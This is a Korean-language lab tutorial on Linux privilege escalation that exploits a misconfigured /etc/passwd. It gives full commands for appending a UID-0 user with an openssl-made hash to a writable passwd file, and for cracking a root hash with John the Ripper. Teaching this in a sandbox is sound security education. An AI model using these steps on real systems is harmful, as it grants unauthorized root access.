소개
/etc/passwd 및 /etc/shadow 파일은 Linux 시스템에서 사용자 인증에 매우 중요합니다. 시스템 관리자가 이러한 파일의 내용 또는 권한을 잘못 구성하면 권한 상승 취약점이 발생할 수 있습니다. 이 랩에서는 /etc/passwd 파일을 악용하여 권한 상승 (privilege escalation) 방법을 살펴봅니다.
/etc/passwd 파일 이해
이 단계에서는 /etc/passwd 파일의 구조와 의미를 살펴봅니다.
Linux 시스템에서 사용자 비밀번호 정보는 /etc/passwd 및 /etc/shadow 두 파일에 저장됩니다. /etc/passwd 파일에는 사용자 정보가 포함되어 있으며, 각 줄은 단일 사용자 계정을 나타냅니다. 각 줄은 콜론으로 구분된 7 개의 필드로 나뉩니다.
- 사용자 이름 (Username)
- 비밀번호 (Password) (
x로 설정된 경우, 비밀번호는/etc/shadow에 저장됨) - 사용자 ID (UID, root 사용자의 경우 0)
- 그룹 ID (GID)
- 사용자 정보 (전체 이름, 방 번호, 직장 전화, 집 전화 및 기타)
- 홈 디렉토리 (Home directory)
- 기본 쉘 (Default shell)
이제 터미널을 열고 /home/labex/project 디렉토리로 이동하여 다음 단계로 진행합니다.
cd /home/labex/project
/etc/passwd 파일에서 labex 사용자의 정보를 가져와 /home/labex/project 디렉토리에 labex_passwd.txt라는 파일로 저장합니다.
grep labex /etc/passwd > /home/labex/project/labex_passwd.txt
labex_passwd.txt 파일의 내용을 확인합니다.
cat labex_passwd.txt
예상 출력:
labex:x:5000:5000::/home/labex:/usr/bin/zsh
각 필드가 나타내는 내용은 다음과 같습니다.
- 사용자 이름: labex
- 비밀번호:
/etc/shadow에 저장됨 (x로 표시됨) - UID: 5000
- GID: 5000
- 사용자 정보: 이 경우 비어 있음
- 홈 디렉토리:
/home/labex - 기본 쉘:
/usr/bin/zsh
Linux 인증 프로세스 동안 다음 단계가 수행됩니다.
- 입력된 사용자 이름은
/etc/passwd파일의 각 줄의 첫 번째 필드와 비교됩니다. - 일치하는 항목이 발견되면 두 번째 필드의 비밀번호가 비교됩니다.
- 인증에 성공하면 사용자의 권한은 UID (세 번째 필드) 및 GID (네 번째 필드) 에 의해 결정됩니다.
- 중요하게도, UID 가
0이면 root 사용자를 나타내며, 사용자 이름에 관계없이 전체 관리 권한을 부여합니다.
보시다시피, /etc/passwd 파일은 Linux 인증 프로세스에서 중요한 역할을 합니다. 공격자가 이 파일을 수정할 수 있다면, 무단 액세스를 얻고 권한을 상승시킬 수 있습니다.
/etc/passwd 를 통한 권한 상승 (쓰기 권한)
이 단계에서는 /etc/passwd 파일에 대한 쓰기 권한을 악용하여 권한을 상승시키는 방법을 배웁니다.
먼저, 랩 환경을 설정해 보겠습니다. 터미널을 열고
/home/labex/project디렉토리로 이동합니다.cd /home/labex/project다음 명령을 실행하여 랩 환경을 설정합니다.
./env_setup1.sh이 명령은 랩 환경을 설정하는 스크립트를 실행합니다. 환경이 준비되었음을 나타내는 출력을 볼 수 있습니다.
설정 후, 침투 테스트 중에 얻은 초기 쉘 액세스를 시뮬레이션하여
user001사용자로 로그인됩니다.user001사용자의 홈 디렉토리로 이동합니다.cd ~whoami명령을 사용하여 현재 사용자를 확인합니다.whoami예상 출력:
user001id명령을 사용하여 사용자 및 그룹 ID 를 확인합니다.id예상 출력:
uid=1001(user001) gid=1001(user001) groups=1001(user001)보시다시피, 특별한 권한이 없는 일반 사용자입니다.
다음으로,
/etc/passwd및/etc/shadow파일의 권한을 확인합니다.ls -l /etc/passwd /etc/shadow예상 출력:
--wx--xrwx 1 root root 1961 Apr 5 00:21 /etc/passwd -rw-r----- 1 root user001 1101 Apr 5 00:21 /etc/shadow/etc/passwd파일이모든 사용자에 대해실행및쓰기권한 (--wx--xrwx) 을 가지고 있음을 확인하십시오. 이는 시스템 관리자의잘못된 구성입니다.
우리의 목표는 사용자 지정 사용자 이름, 비밀번호 및 UID 가 0 (root) 인 새로운 사용자 항목을 /etc/passwd 파일에 생성하는 것입니다. 이를 통해 root 사용자로 로그인할 수 있습니다.
먼저,
/etc/passwd파일에서 root 사용자의 항목 형식을 검사하여new_user_entry.txt라는 새 파일로 추출합니다.cat /etc/passwd | grep root > new_user_entry.txtcat명령을 사용하여new_user_entry.txt파일의 내용을 볼 때 예상 출력:root:x:0:0:root:/root:/bin/bash자체 항목을 생성하려면
new_user_entry.txt파일에서 사용자 이름을root에서new-user와 같이 원하는 이름으로 변경합니다.new-user:x:0:0:root:/root:/bin/bash두 번째 필드의
x를 암호화된 비밀번호 해시로 바꿉니다.openssl도구를 사용하여 비밀번호 (예:pass123) 에 대한 해시를 생성할 수 있습니다.openssl passwd -1 -salt ignite pass123예상 출력:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1new_user_entry.txt파일의 두 번째 필드에 해시를 대체합니다.new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash이제 이 줄을
/etc/passwd파일에 추가합니다.echo "$(cat new_user_entry.txt)" >> /etc/passwd참고:
/etc/passwd파일은모든 사용자에 대한 쓰기 권한이 있으므로 새 항목을 추가할 수 있습니다. 실제 시나리오에서는 이 파일이 일반 사용자에 대한 쓰기 권한을 가져서는 안 됩니다./etc/passwd파일에서new-user를 검색하여 새 항목을 확인합니다.cat /etc/passwd | grep new-user예상 출력:
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash마지막으로, 비밀번호
pass123을 사용하여new-user사용자로 전환합니다.su new-user메시지가 표시되면 비밀번호
pass123을 입력합니다. 이제 프롬프트가 변경된 것으로 표시되듯이 root 권한을 갖게 됩니다.user001@660ecfa4d7612c798ef141ab:~$ su new-user Password: root@660ecfa4d7612c798ef141ab:/home/user001#
/etc/passwd 를 이용한 권한 상승 (패스워드 해시)
이 단계에서는 root 사용자의 비밀번호 해시가 /etc/shadow 파일 대신 /etc/passwd 파일에 저장된 경우 권한을 상승시키는 방법을 배웁니다.
먼저, 랩 환경을 설정해 보겠습니다. 터미널을 열고
/home/labex/project디렉토리로 이동합니다.만약 여전히
new-user로 로그인되어 있다면,labex쉘에 도달할 때까지exit명령을 사용하여 현재 쉘을 종료한 다음/home/labex/project디렉토리로 이동합니다.cd /home/labex/project다음 명령을 실행하여 랩 환경을 설정합니다.
./env_setup2.sh이 명령은 랩 환경을 설정하는 스크립트를 실행합니다. 환경이 준비되었음을 나타내는 출력을 볼 수 있습니다.
설정 후, 침투 테스트 중에 얻은 초기 쉘 액세스를 시뮬레이션하여
user001사용자로 로그인됩니다.user001사용자의 홈 디렉토리로 이동합니다.cd ~/etc/passwd및/etc/shadow파일의 권한을 확인합니다.ls -l /etc/passwd /etc/shadow-rw-r--r-- 1 root root 2059 Apr 5 01:36 /etc/passwd -rw-r----- 1 root root 1101 Apr 5 00:21 /etc/shadow이번에는 파일 권한이
올바르게구성되어 있으며,/etc/passwd파일에 대한 읽기 권한만 있습니다./etc/passwd파일의 내용을 보고 root 사용자의 비밀번호 해시를 찾습니다.cat /etc/passwd | grep ^root > ~/hash.txt다음 명령을 실행하여
hash.txt파일의 내용을 확인합니다.cat ~/hash.txt예상 출력:
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bashroot 사용자의 비밀번호 해시가
/etc/passwd파일의 두 번째 필드에 저장되어 있음을 확인하십시오. 이는 일반적으로 이전 시스템 침해 또는 시스템 관리자의잘못된 구성의 결과입니다.이제
john을 실행하여 해시를 크래킹합니다.john ~/hash.txt > ~/cracked.txtjohn은 사전 공격을 사용하여 비밀번호 해시를 크래킹하는 널리 사용되는 비밀번호 크래킹 도구입니다. 출력은 비밀번호가 성공적으로 크래킹되었는지 여부를 나타냅니다.Created directory: /home/user001/.john Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford Use the "--show" option to display all of the cracked passwords reliably Session completed크래킹된 비밀번호를 보려면
cracked.txt파일의 내용을 확인합니다.Loaded 1 password hash (md5crypt [MD5 32/64 X2]) hello (root)보시다시피,
john은 비밀번호를 성공적으로 크래킹했으며, 이는hello입니다.su명령을 사용하여 root 사용자로 전환하고, 메시지가 표시되면 크래킹된 비밀번호를 입력합니다.su root메시지가 표시되면 비밀번호
hello를 입력합니다. 이제 명령 프롬프트가 변경된 것으로 표시되듯이 root 권한을 갖게 됩니다.user001@660ecfa4d7612c798ef141ab:~$ su root Password: root@660ecfa4d7612c798ef141ab:/home/user001#
요약
이 랩에서는 Linux 사용자 인증 프로세스, /etc/passwd 파일의 중요성, 그리고 이를 권한 상승에 활용하는 방법에 대해 배웠습니다. 두 가지 시나리오를 다루었습니다. (1) /etc/passwd 파일에 쓰기 권한이 있어 root 권한으로 새 사용자 항목을 생성할 수 있는 경우, (2) root 사용자의 비밀번호 해시가 /etc/passwd 파일에 저장되어 john 도구를 사용하여 비밀번호를 크래킹할 수 있는 경우입니다. 실습을 통해 /etc/passwd 파일의 잘못된 구성을 활용하여 Linux 시스템에서 권한을 상승시키는 방법에 대한 더 깊은 이해를 얻었습니다.